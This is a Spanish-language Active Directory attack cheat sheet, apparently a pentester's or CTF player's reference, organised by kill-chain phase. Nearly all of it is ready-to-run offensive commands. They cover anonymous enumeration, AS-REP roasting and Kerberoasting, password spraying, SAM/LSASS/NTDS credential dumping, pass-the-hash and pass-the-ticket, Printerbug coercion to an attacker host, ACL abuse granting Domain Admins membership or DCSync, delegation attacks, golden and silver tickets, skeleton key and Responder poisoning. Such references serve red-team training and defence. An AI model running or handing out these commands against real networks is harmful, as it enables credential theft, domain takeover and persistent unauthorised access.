Todo a lo que sigo volviendo cuando ataco Active Directory. Organizado por fase del kill chain para que encuentres lo que necesitás rápido.


Enumeración

SMB (puerto 445)

# Null session enum
nxc smb $IP -u '' -p ''
nxc smb $IP -u 'guest' -p ''

# Listar shares
nxc smb $IP -u $USER -p $PASS --shares
smbclient -L //$IP -N
smbmap -H $IP -u $USER -p $PASS

# Spider shares buscando archivos jugosos
nxc smb $IP -u $USER -p $PASS -M spider_plus

# Conectarse a un share
smbclient //$IP/$SHARE -U $USER%$PASS

# Descargar share completo recursivamente
smbget -R smb://$IP/$SHARE -U $USER%$PASS

Ojo: Siempre probar null session Y guest. Algunos DCs rechazan uno pero no el otro.

LDAP (puerto 389/636)

# Anonymous bind
ldapsearch -x -H ldap://$IP -b "DC=domain,DC=local"

# Enumeración autenticada
ldapsearch -x -H ldap://$IP -D "$USER@domain.local" -w "$PASS" -b "DC=domain,DC=local"

# Dumpear usuarios
ldapsearch -x -H ldap://$IP -D "$USER@domain.local" -w "$PASS" -b "DC=domain,DC=local" "(objectClass=user)" sAMAccountName

# Encontrar domain admins
ldapsearch -x -H ldap://$IP -D "$USER@domain.local" -w "$PASS" -b "DC=domain,DC=local" "(&(objectClass=group)(cn=Domain Admins))" member

# nxc LDAP enum
nxc ldap $IP -u $USER -p $PASS --users
nxc ldap $IP -u $USER -p $PASS --groups

RPC (puerto 135/593)

# Conectar
rpcclient -U "" -N $IP
rpcclient -U "$USER%$PASS" $IP

# Dentro de rpcclient
enumdomusers
enumdomgroups
queryuser 0x1f4
querygroupmem 0x200
getdompwinfo

DNS

# Zone transfer
dig axfr domain.local @$IP

# Reverse lookup brute
dnsrecon -r 10.10.10.0/24 -n $IP

Enumeración Completa de Usuarios

# Kerbrute - encontrar usernames válidos (sin auth)
kerbrute userenum -d domain.local --dc $IP /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

# RID brute force
nxc smb $IP -u 'guest' -p '' --rid-brute 10000
lookupsid.py domain.local/guest@$IP -no-pass

Tip: RID brute es oro. Incluso con acceso mínimo muchas veces sacás la lista completa de usuarios.


BloodHound

Recolección

# Desde Linux (remoto)
bloodhound-python -d domain.local -u $USER -p $PASS -ns $IP -c all

# Desde Windows
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All

# O el exe
.\SharpHound.exe -c all

Queries Clave

Marcar primero los usuarios owned, después revisar:

  • Shortest Paths to Domain Admins — la query del dinero
  • Find AS-REP Roastable UsersDONT_REQUIRE_PREAUTH
  • Find Kerberoastable Users — SPNs con caminos a admin
  • Shortest Paths from Owned Principals — qué podés alcanzar ahora mismo
  • Find Computers Where Domain Users Are Local Admin

Cypher Queries Custom

# Usuarios con derechos DCSync
MATCH (n)-[:MemberOf|HasSIDHistory*1..]->(g:Group)-[:DCSync|GetChanges|GetChangesAll]->(d:Domain) RETURN n.name, g.name

# Computadoras con unconstrained delegation
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name

# Usuarios con GenericAll sobre otros usuarios
MATCH (u:User)-[:GenericAll]->(t:User) RETURN u.name, t.name

Ataques de Credenciales

AS-REP Roasting

No se necesita password. Apunta a usuarios con “Do not require Kerberos preauthentication” activado.

# Encontrar y roastear
GetNPUsers.py domain.local/ -no-pass -usersfile users.txt -dc-ip $IP
GetNPUsers.py domain.local/ -no-pass -request -dc-ip $IP

# nxc
nxc ldap $IP -u $USER -p $PASS --asreproast asrep.txt

# Crackear
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

Kerberoasting

Se necesitan creds válidas. Solicita TGS tickets para service accounts → crackear offline.

# Impacket
GetUserSPNs.py domain.local/$USER:$PASS -dc-ip $IP -request

# nxc
nxc ldap $IP -u $USER -p $PASS --kerberoasting kerb.txt

# Desde Windows
# Rubeus
.\Rubeus.exe kerberoast /outfile:kerb.txt

# PowerView
Invoke-Kerberoast -OutputFormat Hashcat | fl

# Crackear
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt

Ojo: Apuntar primero a cuentas con AdminCount=1. No tiene sentido crackear una service account sin privilegios.

Password Spraying

# nxc — mejor opción, muestra advertencias de lockout
nxc smb $IP -u users.txt -p 'Password123!' --continue-on-success

# Kerbrute — más sigiloso, sin logon events
kerbrute passwordspray -d domain.local --dc $IP users.txt 'Password123!'

Advertencia: Revisar la política de lockout primero.

nxc smb $IP -u $USER -p $PASS --pass-pol

Candidatos comunes para spray: Season+Year! (Spring2026!), Company+123, Welcome1.

Volcado de Credenciales

# SAM dump (necesitas admin en el target)
nxc smb $IP -u $ADMIN -p $PASS --sam
secretsdump.py domain.local/$ADMIN:$PASS@$IP

# LSA secrets
nxc smb $IP -u $ADMIN -p $PASS --lsa

# LSASS dump
nxc smb $IP -u $ADMIN -p $PASS -M lsassy
nxc smb $IP -u $ADMIN -p $PASS -M nanodump

# NTDS.dit (domain controller — game over)
secretsdump.py domain.local/$ADMIN:$PASS@$DC_IP -just-dc
nxc smb $DC_IP -u $ADMIN -p $PASS --ntds

Movimiento Lateral

Pass the Hash (PtH)

Tenés un hash NTLM? Usalo directamente.

# nxc — revisar dónde funciona el hash
nxc smb $SUBNET/24 -u $USER -H $HASH

# Evil-WinRM
evil-winrm -i $IP -u $USER -H $HASH

# PsExec
psexec.py domain.local/$USER@$IP -hashes :$HASH

# WMI
wmiexec.py domain.local/$USER@$IP -hashes :$HASH

# DCOM
dcomexec.py domain.local/$USER@$IP -hashes :$HASH

# RDP (restricted admin mode)
xfreerdp /v:$IP /u:$USER /pth:$HASH /cert-ignore

Tip: wmiexec es más sigiloso que psexec — no instala servicios. psexec tira un binario y crea un servicio. OPSEC importa incluso en labs.

Pass the Ticket (PtT)

# Solicitar TGT con password
getTGT.py domain.local/$USER:$PASS

# Solicitar TGT con hash
getTGT.py domain.local/$USER -hashes :$HASH

# Usar el ticket
export KRB5CCNAME=./user.ccache
psexec.py domain.local/$USER@$TARGET -k -no-pass
evil-winrm -i $TARGET -r domain.local

WinRM (puerto 5985/5986)

evil-winrm -i $IP -u $USER -p $PASS
evil-winrm -i $IP -u $USER -H $HASH

# Upload/download dentro de evil-winrm
upload /path/to/file
download C:\path\to\file

RDP (puerto 3389)

xfreerdp /v:$IP /u:$USER /p:$PASS /cert-ignore +clipboard /dynamic-resolution

Variantes de PsExec

psexec.py domain.local/$USER:$PASS@$IP
smbexec.py domain.local/$USER:$PASS@$IP   # sin binary drop
atexec.py domain.local/$USER:$PASS@$IP "whoami"  # scheduled task

Escalada de Privilegios

ACL Abuse

Se encuentra via edges de BloodHound. Los principales:

PermisoAbuso
GenericAll sobre usuarioResetear password, poner SPN, deshabilitar preauth
GenericAll sobre grupoAgregarte al grupo
GenericWrite sobre usuarioPoner SPN → Kerberoast, escribir logon script
WriteDACLDarte cualquier permiso
WriteOwnerTomar ownership → WriteDACL → GenericAll
ForceChangePasswordResetear password sin conocer la actual
AddMemberAgregarte al grupo
# ForceChangePassword (desde Linux)
net rpc password $TARGET_USER $NEWPASS -U domain.local/$USER%$PASS -S $DC_IP
rpcclient -U "$USER%$PASS" $DC_IP -c "setuserinfo2 $TARGET_USER 23 'NewPass123!'"

# Agregar usuario a grupo
net rpc group addmem "Domain Admins" $USER -U domain.local/$CONTROLLED_USER%$PASS -S $DC_IP

# Desde Windows con PowerView
# GenericAll sobre usuario → resetear password
Set-DomainUserPassword -Identity $TARGET -AccountPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force)

# WriteDACL → otorgar DCSync
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" -PrincipalIdentity $USER -Rights DCSync

# Agregar al grupo
Add-DomainGroupMember -Identity "Domain Admins" -Members $USER

DCSync

Necesitas privilegios de Replicating Directory Changes + Replicating Directory Changes All. Los Domain Admins tienen esto por defecto.

# Dumpear usuario específico
secretsdump.py domain.local/$USER:$PASS@$DC_IP -just-dc-user Administrator

# Dumpear todo
secretsdump.py domain.local/$USER:$PASS@$DC_IP -just-dc

# Desde Windows (Mimikatz)
lsadump::dcsync /domain:domain.local /user:Administrator

Token Impersonation

# Revisar privilegios (en el target Windows)
whoami /priv

Privilegios clave:

PrivilegioAtaque
SeImpersonatePrivilegePotato attacks (JuicyPotato, PrintSpoofer, GodPotato)
SeBackupPrivilegeCopiar NTDS.dit y SYSTEM hive
SeRestorePrivilegeEscribir en cualquier archivo, DLL hijack
SeTakeOwnershipPrivilegeTomar ownership de objetos

Unconstrained Delegation

La computadora tiene TRUSTED_FOR_DELEGATION. Cualquier usuario que se autentique contra ella tiene su TGT cacheado.

# Encontrar máquinas con unconstrained delegation
findDelegation.py domain.local/$USER:$PASS -dc-ip $DC_IP

# Forzar auth a nuestra máquina controlada (ej., Printerbug)
python3 printerbug.py domain.local/$USER:$PASS@$DC_IP $ATTACKER_IP

# Capturar TGT con Rubeus en la máquina comprometida
.\Rubeus.exe monitor /interval:5

Constrained Delegation

# Encontrar constrained delegation
findDelegation.py domain.local/$USER:$PASS -dc-ip $DC_IP

# Ataque S4U — impersonar admin al servicio permitido
getST.py domain.local/$SVC_USER:$PASS -spn $TARGET_SPN -impersonate Administrator -dc-ip $DC_IP
export KRB5CCNAME=Administrator.ccache
psexec.py domain.local/Administrator@$TARGET -k -no-pass

Resource-Based Constrained Delegation (RBCD)

Se necesita GenericWrite o GenericAll sobre un computer object.

# Agregar una machine account
addcomputer.py domain.local/$USER:$PASS -computer-name 'FAKE$' -computer-pass 'Passw0rd!'

# Setear msDS-AllowedToActOnBehalfOfOtherIdentity
rbcd.py domain.local/$USER:$PASS -delegate-from 'FAKE$' -delegate-to $TARGET$ -action write -dc-ip $DC_IP

# Obtener service ticket como admin
getST.py domain.local/'FAKE$':'Passw0rd!' -spn cifs/$TARGET -impersonate Administrator -dc-ip $DC_IP
export KRB5CCNAME=Administrator.ccache
psexec.py domain.local/Administrator@$TARGET -k -no-pass

Persistencia en el Dominio

Golden Ticket

Se necesita el hash de krbtgt (de DCSync).

# Obtener hash de krbtgt
secretsdump.py domain.local/$ADMIN:$PASS@$DC_IP -just-dc-user krbtgt

# Forjar golden ticket (Impacket)
ticketer.py -nthash $KRBTGT_HASH -domain-sid $DOMAIN_SID -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache

# Mimikatz
kerberos::golden /user:Administrator /domain:domain.local /sid:$DOMAIN_SID /krbtgt:$KRBTGT_HASH /ptt

Silver Ticket

Forjar un TGS para un servicio específico. Se necesita el hash NTLM de la service account.

ticketer.py -nthash $SVC_HASH -domain-sid $DOMAIN_SID -domain domain.local -spn cifs/$TARGET Administrator
export KRB5CCNAME=Administrator.ccache

Skeleton Key

# Mimikatz en DC — parchea LSASS, cualquier usuario se puede autenticar con "mimikatz" como password
privilege::debug
misc::skeleton

Referencia Rápida de Hashcat

Tipo de HashModeEjemplo
NTLM1000hashcat -m 1000 hash.txt wordlist
NetNTLMv25600hashcat -m 5600 hash.txt wordlist
AS-REP18200hashcat -m 18200 hash.txt wordlist
Kerberoast (TGS-REP RC4)13100hashcat -m 13100 hash.txt wordlist
Kerberoast (TGS-REP AES256)19700hashcat -m 19700 hash.txt wordlist
DCC2 (mscachev2)2100hashcat -m 2100 hash.txt wordlist

Checklist de Victorias Rápidas

  1. Acceso SMB null/guest → shares, listas de usuarios
  2. AS-REP Roast → solo necesita usernames
  3. Kerberoast → cualquier cred válida
  4. Password spray → formato Season+Year!
  5. LLMNR/NBT-NS poisoning → Responder para hashes
  6. Revisar edges de BloodHound desde cada usuario que tengas
  7. Reutilización de credenciales → siempre sprayear creds encontradas en todos los hosts
  8. GPP passwordsgpp-decrypt
  9. Scripts en SYSVOL → creds hardcodeadas en archivos .bat/.vbs/.ps1
  10. Campos de descripción → passwords en descripciones de usuarios
# Responder
responder -I tun0 -dwPv

# Revisar GPP passwords
nxc smb $IP -u $USER -p $PASS -M gpp_password